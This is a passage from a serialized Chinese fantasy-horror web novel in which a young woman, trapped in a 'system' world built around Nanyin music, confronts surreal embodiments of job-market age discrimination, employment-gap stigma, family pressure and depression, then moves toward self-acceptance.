她可以强迫自己正常吃饭,却无法强迫自己不把那些饭菜吐出来。
没用的东西,连吃饭都吃不好。
她低头望着躺在手心的那枚乳牙,“好想回到小时候啊。”
是不是她人生最美好,最顺利的时光在考研失败的那一刻已经结束了。
那就是她一生的高光了吗?
其实她很想很想问一个问题,但却不知向谁发问:考上编制,拥有工作就可以了吗?就可以和小时候三好学生、荣誉证书一样金光闪闪吗?
就可以再听到大家的夸奖,就可以在发出和那时一样清脆的笑声了吗?
不知道问谁。
镜中林茉答非所问,“对啊,余生都是黯淡。”
“铛铛——”
两声琵琶响起,回荡在漆黑冰冷的空间里,如同哀乐奏鸣前的信号。
林茉缓缓开口:“血月窥吾檐,照枯镜皱纹稠”
伴随南音歌唱,手背圆圈缓慢增长,一圈两圈三圈……
她平静如死灰一样看着。
年轮吗?
如果这是年轮的话,就让它快些生长,一直生长到最后一刻。
“教人厌倦,追想昨夜......”
--
江砚站在石板路上,当液体停止低落的那一刻,他忽然感觉异常的好,仿佛所有金色都洒在他身上:
林茉还活着,还能够主动传达信息。
系统已经有两项非遗项目回归正常。
一切都很顺利。
他的净化程序是有效的。
哼——
有效的??
请问你在这其中发挥了什么作用?还莫名其妙连累了一位路过的陌生人。
每天工作那么久,但真的对目前的成果满意吗?你最看好的这个项目,冒这么大风险,真的有信心成功吗?
还好意思高兴。
26. 月下潮生(南音)
为何突然这样想?
如同天光瞬间乍现,但随即被更加猛烈的质疑掩盖。
太慢了,那么多非遗项目,按照这种模式,系统何时才能投入商业使用?
是啊。
还是太慢了。
天空更加阴沉,隐蔽的渔村房屋门忽然纷纷打开,渔民陆续从屋内走出,脚蹼踏在石板路上发出“啪叽啪叽”的声响。
洞箫女手持洞箫,风吹过萧空发出长短不一的呜咽,每次洞箫北风吹响,部分村民的脖颈就伸长几分,而且只长白骨没有血肉,以奇怪的角度弯曲、努力前伸,像是在够什么东西,又如同一只脖子奇长的乌龟,变异脖子上悬挂着一张手掌大小的方形牌子。
他们排着队站在石板栈道上,面朝同一方向,似乎有一个共同的默契的目的地。
客户经理、
行政专员、
高级前端工程师、
视觉设计师
...
江砚查看那些吊牌,这些村民职业各异,但无一人超过35岁。
年龄:34岁
职业:投资经理
兑换情况:已兑换,左臂兑换年轻五年。
这是洞箫女的工牌。
所以林茉才会看到她有白发次日又消失。
其余颈椎没有延长的村民,忽然齐齐伸手剖开腹部,皮肉生生撕裂的声音混合成令人难以忍受的音波,这些人的腹部之内并非器官,而是琵琶面板和琴弦,上面还纠缠着粉红色的碎肉。
用手拨弄琴弦时,发出的是战斗号角一样的琵琶音。
生活中也是十面埋伏。
琴音同时还掺杂着播报:
“女性最佳生育年龄35岁,”
“岗位要求:年龄30岁以下,如果未婚未育,可放宽至35岁。”
江砚经过时,一位村民腹部琴丝突然延长,变成腐烂藤蔓一圈一圈进进勾缠住他的腰部。
老年斑开始向手腕缓缓蔓延。
...
两侧冰晶廊柱不知何时变成巨大的三弦和二弦乐器森森林立。
原本空气中的冷冽味道开始参杂进难以言明的腐烂腥气,好像身处满是腐烂鱼虾的海边。
琴弦上挨挨挤挤悬挂着像铃铛一样的东西,但仔细看去那些都是长相不同的人。
一位梳着两条麻花辫的小女孩居高临下看着林茉:“学习好有什么用?”
“学习好有什么用?”
一群人密密麻麻地重复。
“工资那么低的工作还要和一群人抢。”
“抢到了又被说丢脸,还不如回家准备考公。”
另一边有人解释。
“没办法啊,谁叫我们性价比低呢。”
“是啊,怀孕生育需要修那么长时间的假,企业凭什么要负担呢?”
每说一句话,缠绕在他们脖颈上的琴弦便收紧一分,脸上神情便痛苦一分,琴弦深深勒入皮肉,只见皮肉外翻,不见血液流淌。
“就是,刚入职就要休假,谁会想要雇用这样的人?”
“没有不可替代性,就没有资格提要求。”
“说到底还是不够努力”
……
是啊。
“如果当初自己能够再厉害一点,作品能够卖更多的钱,或许院长就不会接受那个人的资助。”
一条寒光闪动的细丝,悄无声息接近林茉,林茉依旧垂头,毫无察觉。
细丝如同一条蓄势已久的毒蛇,攀上林茉脖颈,缓慢延伸、前进、缠绕。
林茉再次被催动,歌声继续幽幽唱响:
“血月窥吾檐,照枯镜皱纹稠,教人厌倦,追想昨夜,红灯绿影照空楼...”
琴弦在颈侧划破一道,渗出鲜红血丝,尖锐刺痛直接由颈部瞬间扩散至全身。
“嘶——”
血腥气漫至鼻尖,这是她自己的血。
“怎料到今旦立足无地,棺中齿落喉...”
这歌声还挺好听的,虽是女生却偏低沉,很有辨识度与故事感,加上南音悠长婉转的曲调,将歌唱人的心声活生生地完全呈现出来。
这是谁的声音?
林茉皱起眉,一缕头发垂落下来,遮住眼眸。
可是,不是自己在唱歌吗?
手腕茉莉纹持续传来温热暖流,加剧了伤口疼痛,她突然抖了一下。
这不是她自己!
这不是她!
这不是她的声音!
林茉猛然抬头,目光直视廊镜,坚定敏锐,像是能穿透镜面。
她对着镜中人轻声赞赏:“可以啊,不知不觉控制我这么久。”
她歪头看相缠绕在脖颈的琴弦,眼神淡定如深沉水波,轻蔑浅笑:
“搞出这种东西,想把我也挂在上面?”
笑声其实很小,但在镜廊里回荡不绝,如同毛毛细雨在湖面制造出粼粼波纹。
林茉伸出手握住琴弦,懒洋洋的,好像说完这句话就准备上床睡觉了。
“我啊,我是一条咸鱼啊。”
琴弦触感坚硬冰冷。
“嗯——”她似在思考似在商量,“看看是你先累死我,还是我先扯断你。”
琴弦划伤虎口,悬挂于三弦之上者集体疯狂嘲笑。
“自不量力,普通人能有多大能耐?就该老老实实努力,还真有人相信天上能掉馅饼。”
“等运气?等你老了,发现付不起医药费,账户开不出养老金,哭都来不及。”
“不用那么久,让她找不到工作,没有人愿意雇用,吃不起饭的时候就老实了。”
林茉笑了笑,“抱歉啊,我还真的相信天上会掉馅饼。”
她拉住琴弦用力一扯——
好像并没有什么变化,三弦纹丝不动。
“哈哈哈哈哈——”
“哈哈哈哈——”
“我就说吧,不行的。”
林茉又拉扯了一下,三弦稳稳地顶天立地,好像她的力量根本没有传达过去。
脖颈上琴丝却越缠越紧,从手腕茉莉纹处流进身体的能量,又在脖颈伤口处流出。
“每个人都以为自己是紫薇星,不让现实打击一下就认不清自己。”
确实很痛。
如果此刻有人说放弃反抗就可以缓解痛苦,真的会很有诱惑力。
“哈哈。”
林茉并未受到打击,反而眼里星光熠熠,“我就是相信天上会掉馅饼。”
【道具已使用】
系统毫无预兆地播报出五个字,突然地开始,断崖式结束,莫名传递出很重的偷感。
林茉身旁突然出现一根树枝,如同游龙一般蜿蜒自由生长,扩散出馨香清新的花香,逐渐驱散了原来令人作呕的腐烂气味。
如同被春日之手抚摸过的枝桠顺着乐器缠绕攀援,淡粉色花朵如同颗颗
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莹润小巧的珍珠。
是梅枝。
“开花了?”
“不可能,这里这么冷,不可能开花。”
“就算开花,和我们又有什么关系。”
梅枝沿着乐器继续向上,攀上穹顶锁链,铃铛发出叮叮当当的声音。
仿佛春风吹过。
林茉脖颈一松,琴弦悄然融化,在国际上留下一道淡粉色印记,如同被梅花浸染。
梅枝?
道具?
原来如此。
晓晗——
她伸手拉住一根枝桠,用力一晃——
叮铃——
却是把穹顶锁链扯掉了一根,落下来砸在地面。
嘿嘿,失败了。
原本是想下个花瓣雨的——
洞箫女突然走向漂浮戏台,踏上戏台刹那,身上忽然缠满小臂粗的藤蔓,如同一条条锁链,上面悬挂着不会响的沉默铜铃。
藤蔓蠕动,从左耳钻入大脑,几秒后瞳孔一行字在滚动闪烁:
“好孩子守则”肉瘤已完成寄生。
场景忽然变化,变成了一间客厅,装修简单,一位老年女性正坐在沙发上看电视。
海风吹动她灰白的短发。
洞箫女走过去,“该吃药了,妈妈。”
“妈妈”转头看着洞箫女,眼神呆滞了几秒,随后恢复清明,“清荷,不是妈妈逼你,妈妈这种情况,如果不能看着你结婚成家,那妈妈就算走了也不会安心的。”
原来她叫清荷。
对了,工牌上有写:林清荷。
林清荷坐在妈妈身边,低头从药瓶里倒出几颗药片,“这瓶就快吃完了,过几天去复查看看。”
“妈妈”和她各说各话,“我这种情况我知道的,以后……以后会很难,你一个人怎么办呢?”
林清荷不说话了,沉默地将药片递到母亲手中,然后又地上一杯水。
看着母亲吃下药片。
又是一阵沉默,江砚感受到藤蔓开始收紧,可奇怪的是他似乎并不想要挣脱。
痛苦也是好东西,它是名正言顺要求幸福的筹码。
“我知道了,我会去相亲的。”
“是妈妈连累了你,我知道你不甘心嫁回我们这小城市,但其实人家条件也不错,而且国企工作稳定,工资也不低。”
林清荷低头开始收拾茶几上的药盒。
“你在大城市,现在觉得一个人自由,但在那边吃的就是青春饭,等年纪大了,别说年纪大了,就是三十六七岁都没人愿意用你。”
“嗯。”林清荷似乎放弃了反驳,也或许是不知如何反驳。
“这次相亲如果能成,我以后就算老年痴呆严重到忘了,但心里头也安心,能成的话还要好好谢谢你叔叔。”
林清荷声音很轻,“我已经答应叔叔明天去了。”
戏台背后出现一块大屏幕,是林清荷使用的设备屏幕上显示的内容:
如何照护阿尔茨海默病患者;
阿尔茨海默病患者照护指南。
顶端弹出一条信息,是客户的:林经理,听说您辞职回老家了,您还考虑继续做这一行吗?想请您来我们这做投资顾问,感兴趣的话我们可以聊聊。
林清荷坐在沙发上一动不动,好似全身力气已经耗尽。
“好孩子”肉瘤顺着林清荷脖颈向下扩散,在皮肤之下撑起小小鼓包,很像是过敏。
27. 月下潮生(南音)
锁链还可以扯断。
林茉突然觉得好玩起来。
她狡黠地笑了笑,问那些被弦丝缠颈之人,“想不想看樱花雨?”
??
无人回答。
林茉也不气馁,轻松得好似自己真的身处公园,“不对,是梅花雨。”
她又扯动梅花枝,花瓣纷纷扬扬,飘落的同时也在新生,枝桠上新的花苞接连不断。
“谢谢你。”林茉在内心默默说。
“啪嗒——”
又一根锁链掉落。
林茉抬头仰望穹顶,这些锁链作用是什么呢?关住这里的人?
第一根锁链已经脱落了有一会儿,但什么也没有发生。
总不能只是装饰吧。
梅花雨持续飘落,每一片花瓣都自带如月光一样的淡淡白光。把这个原本冰冷、黑暗的未知世界装点得唯美浪漫。
“好运来,祝你好运来~”
这个气氛好像真的有点适合许愿。
“你们会唱歌吗?”林茉抬头问。
依旧无人回答。
“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~”
林茉自顾自的哼,唱起来,配合着漂亮的花瓣,心情越唱越舒畅。
忽然三弦那边传来“嘣”的一声——
林茉吓了一跳,但那边的人好像并无异常。
“嘣——嘣——嘣——”
这节奏......
怎么有些熟悉?
林茉又试着哼唱了几句,“你勤劳生活美,你健康春常在,你幸福的家园迎来百花盛开~”
“嘣——嘣——嘣——”
三弦一直在跟着她。
这是在?
打节奏?
林茉声音大了一些,继续歌唱。
还真的是在给他打节奏。
可以啊,“你们会唱什么歌?”
“要不要一起唱?”?
没有人回答,但是想起了歌曲演奏前的节奏敲击声。
林茉眼神一动,给你们注入点力量:“一二三四、一二三四像首歌——”
她的声音并非铿锵有力,带着点温柔的坚定。
“望——明月如镜,团圆坐对熏风——”
突然响起了很轻的和声,南音唱法将每个字都拉得婉转悠长,意外地和这首充满一身正气的歌很搭。
原来这首南音曲原本的唱词是这样的。
不一定要很阳刚,也可以很有力量。
“一条大路多宽阔
二月春风拂面过
三山五岳任我走
四海为家”
林茉刚刚被系统控制没有注意到麒麟菜这小家伙不知道从哪里跑出来,跟着节奏开心的上蹿下跳。
地面上突然出现了一些投影,如同一个个沉重的灰色泡泡,上面写着:
失业、孤独、破产、医保、养老金、没有朋友……
明亮的花瓣还在飘落,但是却照不亮这些恐惧泡泡泡。
麒麟在却好像看到了什么特别好玩的,追着那些泡泡一口一个的药,一边咬一边像小狗那样甩头,看的人好想笑。
穹顶锁链持续掉落。
江砚在外面被越来越多行为奇怪的村民包围在中间,藤蔓缠绕得他有点喘不过气。
江砚低头看着腰间藤蔓,眼底突然蔓延进一丝黑色雾气,他表情平静,语气轻蔑:“我不动,就真以为我是软柿子?”
朱雀纹身蓦然点亮,熊熊朱雀之火顺着腰间藤蔓猛地窜了出去,大火瞬间包围了距离他最近的变异村民。
村民面部神色更加痛苦,但却没有挣扎,只是在原地默默忍受,渐渐蹲下身子,蜷缩成一团,似乎这样可以缓解疼痛,或许还可以因为足够可怜而被饶恕。
朱雀之火顺持续扩大,火光映红冰封海面,又在海面反射下变得更加赤红,仿佛烧毁掉世界上所有事物才肯罢休,甚至盖过血月光芒,渔村变成无声的痛苦火场。
但其实村民并没有被点燃,虽然他们看似痛苦,但被剥离的都是腹中琴弦、腐烂藤蔓、颈椎工牌...
系统赋予这些村民的东西全部被燃烧殆尽。
火焰中“公积金基数高,信用良好”“已交保险10年”“稳定在职5年”大字不断浮现,不知是在生存似乎受到威胁之际,朱雀之火烧得这些牵挂离开了渔民身体,还是朱雀之火提炼显示出渔民最核心的东西。
...
男主站在火光中心,眼底浮现晦暗不明的笑意。
“还唱什么呢?”林茉与三弦和二弦节奏合作默契,越唱心情越开阔,甚至感觉这个空间都不那么冰冷。
“你们还有没有想要唱的歌?”
回应开始出现,一开始只是试探性的一句:
-“唱点开心的吧。”
逐渐出声的人开始多了起来。
-“你有没有试过演唱会大合唱?”
-“我!我有我有!特别好,特别开心!”
因为琴弦绕颈,所以这些声音有些嘶哑,甚至还有嘶嘶漏气声,但还是能听出他们的喜悦和期待。
林茉轻轻拍了拍镜面,“嗯——那就选一首大家都会的吧,我们一起大合唱。”
话音刚落,林茉突然感觉到好像有一阵凄凉的寒风贴着她狠狠吹过,隔着衣物都感觉到了风里的寒冷和凛冽。
这里会有风??
“哼——”
突然传来一声轻蔑嗤笑,林茉环顾却没发现声音来源,似乎并不来自于三弦和二弦乐器上那些悬挂着的人们。
还有人?
对!——
差点把他给忘了。
裂口歌姬!!
她之前藏在镜子里伪装成自己的影子,还没找你算账呢,主动找上门来了。
裂口歌姬依然没现身,只是藏在某个角落持续发出嘲讽之音。
“你们知道这是哪里吗?还在这唱歌。”
“好可笑,火烧眉毛还在这里悠闲,我都迫不及待想看你最后会有多后悔了,真想看看你那时候的表情啊。”
这是在和自己说话呢。
林茉还是找不到声音来源,好像裂口歌姬统治了这个空间,她的声音可以从空间任何地方发出一样。
“你为什么不出来?你在哪里?”
“哈哈哈哈哈哈哈——”
裂口歌姬发出刺耳尖笑,好像很得意,但每次话音落下又让人感到一丝凄凉。
“我在哪儿?我为什么不出来?”她尖锐地反问。。
“还不是因为你!都是因为你!”
之前被麒麟崽咬破的恐惧泡泡又密密麻麻地重新出现,把它吓了一跳,一跃躲回林茉怀里。
“我?”林茉摸着麒麟崽肚皮取暖,好像随着裂口歌姬发言的进行,这里变得越来越冷了。
“为什么?”
乐器上悬挂之人也不再活跃,蓝色液体从
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琴弦勒口处流出,越来越多顺着他们的身体滴滴答答滴落在镜廊地面上。
林茉想起之前在别处也看到过同样的蓝色液体,似乎这就是被系统入侵同化的证明。
液体由点汇聚成片,如同一只只蠕动的病毒流淌扩散,沾染到梅花,梅花开始凋零,梅枝也出现点点腐蚀斑纹,逐渐枯萎。
温暖唯美的粉色光芒衰落,冰冷的暗灰色又逐渐开始统治这里,梅枝退一分,它就进十分,不同的是这次林茉是清醒着面对。
林茉余光捕捉到有什么在动,是廊镜中图案在变换。
那是一个聊天界面,一位求职者发了大约几十个字的自荐消息,而对方的回复只有一行字:对不起,您空窗期过长,不适合我们这个岗位。
二弦和三弦那边传来琴丝绞紧之声,让人不忍卒听,那些人刚刚还在和她一起唱歌。
精心制作的一张张简历在镜中被无形之力撕裂成碎片,细小纸屑聚集、扰动,逐渐汇聚哼一道黑色漩涡,漩涡吞噬了镜中其他一切图案,最后中心缓缓浮现出红色的“GAP”字样。
漩涡黑洞中伸出锈迹斑斑的锁链,链环上悬挂许多员工工牌,照片褪色、字迹斑驳——这些都是作废的工牌。锁链上刻满文字,林茉起初还在认真辨认:
无效人生
稳定性差
执行力差
...
林茉轻哼一声,不再关注镜子,无聊,除了搞这些东西还会什么,只会利用别人的恐惧。
镜子似乎感受到她的忽略似的,漩涡开始变换,一张张真实的人脸纷纷浮现又溶解于漩涡,下一批人脸又继续浮出、消失——
终于吸引到林茉的注意力时,那些人脸以奇怪的方式扭曲、溶解、组合,最后一张Excel表格出现在镜面上,被选中的单元格显示“空窗期=能力缺陷、执行力差、稳定性差”的计算公式。
每按下一次计算,单元格就会显示出计算结果,仿佛在念咒:解释!解释!解释!
悬挂之人发出很痛苦的声音,不断忏悔。
“我错了,我不该还没找到下一份工作就辞职。”
“我不该断掉保险,我不该断掉保险,我没有保障,我应该怎么办?”
...
Excel表格又开始扭曲,最后成为一个黑漆漆的、五官模糊的人脸,这张人脸发现站在面前的林茉,虽然没有眼球,但林茉感觉到“它”在凝视自己,人脸开始向林茉靠近,甚至将镜面挤得突出,“说!空窗期是不是因为懒?病?还是心理变态?”
...
林茉刚打算回击,就听到传来的微弱辩解,像做错事的小孩子:
“我、我有在学习,我有读书、每天练习书法,还有、还接触了南音...”声音越来越底气不足,“我还有保持锻炼...”
“哼——”这是裂口歌姬的声音,“这些东西。”“我问你,学书法、学南音能变现吗?通道?转化率?”
裂口歌姬每质问一次,三弦便弹出一道音波,原本就被琴丝缠住的脖颈仿佛又被一只无形之手扼住,那人无法再继续说话,只能发出“嗬嗬”气声。
那人被无形之手拖向黑洞,洞内伸出无数双手,将一张“低效人生证明”狠狠钉在皮肤上——
随后他消失于黑洞,悄无声息,没有再发出过一点点响动。黑洞慢慢分解转变成几个漆黑大字,仿佛是最终审判:
你是垃圾。
不、配、活。
28. 第 28 章
朱雀之火逐渐平息,看似已经摆脱系统控制的村民们却仿佛被定在原地,纷纷呆滞不动。
霎时间天地一片安静,连一丝风声也无。
江砚暴力烧掉了系统植入,他面无表情地看了看周围的村民,最后专心感受手腕处能量的流动。
林茉还在。
下一秒却眼神一凛——虽然缠绕腰间藤蔓被烧毁殆尽,但是手臂初的老年斑还在,甚至在他的注视下又增加了几个。
蔓延到手肘会被系统同化。
但是要如何停止老年斑的蔓延?江砚第一时间想到的是强行调出系统后台改写代码,但是系统复杂,工作量很大,牵一发而动全身,不一定能保证在老年班蔓延到手肘之前就可以改好。
……
深海镜廊再次被黑暗笼罩,境中几个大字令人心惊:
你是垃圾。
不配活。
我还不想活呢,林茉叛逆地想,但恐惧还是一丝一丝从心底弥漫上来,像涨潮的水,像上升的月。
非意志所能阻止。
她开始情不自禁地想象:在目光没有注意到的某个地方,有人正拿着一把寒光闪烁的手术刀,眼睛死死的盯着她,如同看着手术台上任人宰割的一具皮肉...
越是这样去想,感觉就越来越真实。
黑暗中,身体甚至能感受到冰凉的术前定位笔迹,在她身上轻轻划出一道一道。
等一下,就会按照这些痕迹来割开她的皮肤。
身体传来冰凉的刺痛感,仿佛手术刀刀尖就悬停于此,下一秒会无情落下,剖开她的皮肤。
而她被注射了药物、被绑带束缚在手术台上,动弹不得。
林茉呼吸不自觉加速,手术刀如影随形,只要稍微去想一想,她就随时悬停在自己皮肤上方。
她开始后退,贝壳碎裂的声音在一片漆黑的寂静中尤其突兀,吓了她一跳。
因为很像重塑骨骼之声。
慌乱间她忽然瞥见镜中裂口歌姬假冒的“赝品林茉”正盯着自己,眼神冰冷审视,好像随时准备给她划上深深一刀。
裂口歌姬似乎感受到林茉的目光,她又缓缓笑了,露出阴森森牙齿,嘴角越裂越大,直至撕开整个脸颊。
看到自己变成这个恐怖的样子,林茉不知该作何反应,后有手术刀,前有裂口歌姬,她只能僵在原地,像往常许许多多的无助时刻一样。
慌乱间她瞥见了一抹暖色光源,如同深渊里的救命稻草。
正是怀中抱着的麒麟崽,直到这时,麒麟崽的温暖体温才顺利传递给她。
林茉望着镜中反射的麒麟崽暖黄色的光芒,逐渐恢复冷静:没有人要解剖他,一切都是他自己吓自己,都是曾经梦中的场景。
假的。
麒麟崽似乎也感受到了林茉的情绪波动,抬起头望着林茉,湿漉漉的眼睛一眨一眨。
“好可爱。”林茉摸了摸麒麟崽的头。
镜中自己也做出了相同的抚摸动作,但是她怀里并没有这样一个暖融融的小东西。
所以导致动作看起来诡异又有点凄凉,空空的,好像她在很努力地寻找依靠或是慰藉,但回应的只有虚空。
“你羡慕我吗?”林茉向镜中提问。
“羡慕?羡慕你什么?羡慕你从出生开始就不自由吗?”
林茉有点分不清裂口歌姬在以谁的身份回答,好像无论是谁都可以套用这个反问。
但裂口歌姬倒是真的愿意和她对话,这是没有想到的。
其实冷静下来一想,裂口歌姬虽然前前后后制造了很多奇异现象,好像一直在跟自己作对,但除了刚刚来到镜廊的控制,并没有对她造成任何真实伤害。镜中那些可怕的影像,还有那几个大字,如果不对其产生反应,其实这些东西也根本无法伤害他人。
但说起来容易,想到完全不做反应又何其容易,看看那些被琴丝悬挂于乐器上的人,不都是被这些东西带来的恐惧抓得牢牢的。
“你为什么要伪装成我的样子?”
“为什么?”
“你问我这个问题,说明你还是没有明白,”裂口歌姬突然靠近镜面,释放出所有的恶毒和怨恨,一字一顿,“你逃不出去的。”
“你觉得我很想逃出去吗?”林茉这次没有再害怕,反而上前一步靠近镜子,直面镜中那张恐怖诡异的自己的脸。
这时她才发现她的眼睛不是寻常的黑色或棕色,而是幽深的深蓝色,不仔细看很难发觉它和黑色眼睛的区别。
原来我的眼睛不是黑色的吗?
“难道你想被困在这里一辈子?哼——”裂口歌姬语气轻蔑,“别以为你没有破坏性反抗就会迷惑我,没有人想一直被困着。”
“你只是用这种假模假式的方式让自己看起来更体面而已。”
林茉却没有回应裂口歌姬的质问,甚至好像都没有听到,而是很认真的和镜中自己对视,仔细观察“自己”的五官、头发、身体...
却是越看越觉得奇怪,按理说她是这个世界上唯一一位与自己朝夕相处的人,应该是最了解自己的人。
但是仅仅是这样简短的对视,也让她觉得镜中的自己很陌生。
好像是这么多年来第一次真正看清自己的长相。
给外界的关注越多,给自己的关注就越少。
裂口歌姬等了一会儿,继续发问:
“你两年多不工作,觉得这是顺应自己的本心——可你真的这样想吗?你有好好享受。你这顺应本心的每一天吗?”
...
随着裂口歌姬提问,她背后突然出现了一个画面:
林茉衣着整洁高级,迎着晨光走进美丽的办公园区,路上都有人和他开心地打着招呼。与此同时她收到信息显示本月工资已到账,那是一个可以完全满足日常需求的数字。
这个林茉嗯完全不必为了生存而发愁,也不会一整天都没有人同她讲话。
画面消失,留下一个工乂谱的“乂”字符。
“你说不玩系统的游戏,可若没有系统压迫,苏绣、茉莉纹根本毫无意义,也不可能得到江砚的所谓雇佣——你在干嘛?还不是依赖敌人赐予你意义?”
...
背景画面再次出现,这次是一位打扮舒适温婉的林茉,长发垂顺柔软,松弛地坐在阳光下,身后浅蓝色的海面被阳光照得
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晶莹闪亮,一位刚过膝盖那么高的小孩儿欢笑着飞奔向林茉怀中,“妈妈,我找到了一朵花送给你,爸爸说这是你和他的定情花。”
胖乎乎的小手里,小心翼翼捧着一朵洁白的茉莉花。
...
?
爸爸?
这时“爸爸”及时发来一条消息:姐姐,晚上去吃你最爱的牛肉火锅。
...
这爸爸,江砚??!!
林茉无语地看着镜面。
如果裂口歌姬不搞出这么一段尴尬的画面,或许她还真的会被这些问题唬住。
林茉轻声笑了出来,“我?有孩子?还是江砚的?”
“你在给我讲笑话吧?”
裂口歌姬没有理她,身后画面再次消失,留下一个“丿”字符。
林茉皱眉,这是她能看懂的仅有的几个工乂谱符号:乂丿
不久前还在通过这两个字符向江砚传达消息。
裂口歌姬再次重复:“你逃不出去的,而你,本可以成为刚刚两个画面中的任何一位,不比你现在靠契约绑定男人更幸福吗?”
乂丿之后,增添了一笔决绝的、恶狠狠的符号:、
乂丿、
按照她和江砚的简单信息系统,这依旧是个诅咒:女人、否定。
林茉没有开口回答,也没有任何额外动作,而是直接的、坦诚的镜子中那双和自己一样深蓝色的双眼对视。
双眼睛里一开始有很多的抱怨和愤怒,像阴天时的汹涌海浪。
林茉依旧平静的望着它,望着那些汹涌的情绪。
然后那双眼睛突然开始变得不知所措起来。
裂口歌姬以她从未有过的口吻试探地问:“你看到我了吗?”
林茉依旧不开口,只是保持平和的注视。
那双眼睛突然噙满泪水,裂口歌姬原本的样貌从镜中显现出来,其实是一位气质优雅、长相甜美的女生,“我等了好久,终于有人看到我了。”
镜廊里突然传来“咔嚓咔嚓”的声音,并非林茉以为的镜子碎裂,而是那轮存在感一再被剥夺的血月在变化。
膨胀、扭曲、生长...
最后他成了一面时钟的样子,但上面的刻度却并非常规的12个数字,而是从0到100之间选取了一些数字。
什么意思?
指针此时正指向24:找到好工作,独立赚钱,回报父母。
...
裂口歌姬再次被刺激到,捂着头痛苦地蹲了下去,缩成瘦小的一团,无助地重复:
“打碎它,打碎它...”
时钟再次变化,指针指向30到35之间的区域:最佳生育年龄。
随后又指向35:性价比低,不建议雇用。
空间里想起了密密麻麻的啜泣声,让林茉想到马明月从高处坠落后变成赛博葬礼的花灯街。
...
就在江砚思考如何停止即将蔓延到手肘的老年斑时,戏台上忽然有三个符号亮了起来:
乂丿、
他的目光瞬间变得狠厉,朱雀纹身再次燃烧,几乎是咬着牙一字一顿。“你真的敢?”
29. 月下潮生(南音)
林茉在镜子面前蹲下来,认真看着已经变回正常女孩子的裂口歌姬,“别怕。”
“我们不玩他的游戏,没事的。”
但裂口歌姬还是没有反应,不肯抬头,仿佛社会时钟已经具象化成了一个特别沉重的事物,压得她无法前进,无法抬头。
指针持续向前,来到40岁,这里显示的是功成名就,人生定型。
又有一批人发出悲伤啜泣。
“望明月如镜——”林茉轻声歌唱起来。
这是裂口歌姬反复重复的那首南音名曲,这对她来说可能别有意义。
每次都不白来,在绣楼学会了双面绣,和马明远学习盒子灯手艺,现在又增加一项技艺。
虽然只会这一句。
林茉重复了几次,裂口歌姬终于缓缓抬头,正对上林茉平和坚定的目光。
她的眼睛也很漂亮,是温柔的茶棕色,温顺善良,甚至能从这双目光中看到儿时是如何被“优秀才能被爱”喂养长大的。
林茉目光低垂,看到深蓝色的被子和床单,以及一双苍白的纤细的手。
手?
伴随意志活动,这双手举到眼前。
是她自己的手。
她正坐在房间的小床上,低着头不想说话,不想行动,因为无论说什么还是做什么,都是无用功,都无法改变困境。
脑海中画面一闪而过,好像曾经看到过这个场景,一个人坐在房间里,状态低迷。
现在应该是接近中午,阳光透过窗帘的缝隙直射进来,在房间里留下一道极其明亮的裂缝。
她盯着那个裂缝看了许久,忽然从床上走下来,猛地拉开窗帘,明亮的阳光立刻毫无保留的将她笼罩其中,也照亮了整个房间。
外面有一颗茂盛的大树,窗子正对树冠,曾经这茂盛的树冠还是光秃秃的树枝,已经不知不觉绿叶满枝头。
拉开窗子,轻柔的风送来温暖的新鲜空气,与其说是风,不如说更像是久违的拥抱。
不管她消沉多久,不管她现在是什么状态,更不管有没有考研上岸,有没有考公上岸,是否有一份薪资很高的工作,阳光和微风以及四季,永远会在她张开怀抱时回应他。
她闭上双眼,深深地呼吸了一口久违的户外空气。
晒够阳光,回到床边,用力抖动被子和床单,认真铺床,收拾桌面,收拾柜子,把那些厚厚的学习资料全部清出来,堆在门口。
整理好一切,她直起身望着打扫整齐的房间,忽然闻到空气里植物的香气。
她坚定的转身走向门口,按下门把手,打开门。
妈妈听到声音,从客厅沙发上站起来,“怎么出来了?需要什么东西吗?妈妈给你送——”
妈妈还是那个样子,却又有些不一样,这是第一次以两个独立的、成年人的身份互相面对,而她看到了妈妈的局限。
妈妈的话没有说完,因为她发现今天女儿好像变得不一样了。
“林清荷”找到客厅,给自己到了一杯水,喝下一口,杯子放在桌子上发出很轻,但很坚定的碰撞声。
“妈妈,我——”
“林清荷”深吸一口气,这时林茉忽然感觉到自己的视角好像变了,原来她在使用林清河视角,同步林清荷的感受,但在说出“我”字之后,她好像忽然变成了第三视角,在看着自己和妈妈说话,
“其实我这段时间根本没有好好学习,学习的效果也不是很好——”
妈妈的表情微微错愕。
她忽然感觉到自己从来没有如此坦诚过,向家人表露真实的自己。
甚至这个选项从未出现过。
“我——”林茉开口同时,有另外一个女声在和她一起说话,异口同声。
“我现在并不想考公,想到之后要进入体制内,我从心底排斥。”
“清荷你——”
“但是,也正因此,我坚定了自己不想要的人生,我不想按部就班,我不想过一眼望到头的生活,只是为了安全。”
林茉感受到了林清荷的困惑,还有一点小惊喜,因为她没有想到居然可以如此流畅清晰地表达自己。
“或许现在还没想好究竟想要什么,但没有规定这个问题必须在二十岁出头就得到答案,”她坚定重复了一次,“没有规定。”
一个男人从房间里走出来,脸色阴沉,“你在胡说什么?我们培养你这么多年,就是为了让你当一个平庸的废物的吗?”
惊喜被恐惧冲散,习惯性讨好已经成为条件反射。
林清荷沉默着整理了一下心情,“我会先做些事情养活自己,我想自己为自己负责——”
“我们平时对你小心翼翼,不敢跟你大声说话,你妈每天变着花样给你做饭,就是为了让你说出这种没骨气的话吗?”
“你看看你舅舅、你叔叔,人家现在开什么车,住什么房子,人家的孩子已经成了团队的领导,你看看你,就知道在家里说这些丧气话。”
“林清荷”感受着内心如同海啸一样突然涌起的情绪,差点眼泪就要控制不止夺眶而出,每次都是如此,还没开口,眼泪已先一步到达。
莫名突然想到有人曾经对她说的一句话:不玩他的游戏。
“您不用对我说这些,我今天说这些话也不是和您商量的,这是我的决定,是在通知你们。”
“你!——”
“如果你们能接受,我们还是一家人,如果你不能接受,也可以当没有我这个女儿,既然你们当初生下我,养育就是义务,不是拿来绑架我的筹码。”
妈妈流下眼泪,“清荷,你怎么了?怎么这样和你爸爸说话,是不是最近压力太大,要不妈妈带你去医院——”
“不用了,我很好,我会想办法让自己活下去,我找到地方搬出去之前送我租你们的房子。”
……
说完她没有再理会父母的回应,径直走向门口。
外面春风和煦、阳光明媚,镶嵌照得一切都明亮的发光。
光在镜子的反复折射之下越来越亮,所有洁白镜面组成长长的螺旋链条,如同一条游龙,自在游动。
一些画外音传入耳中——
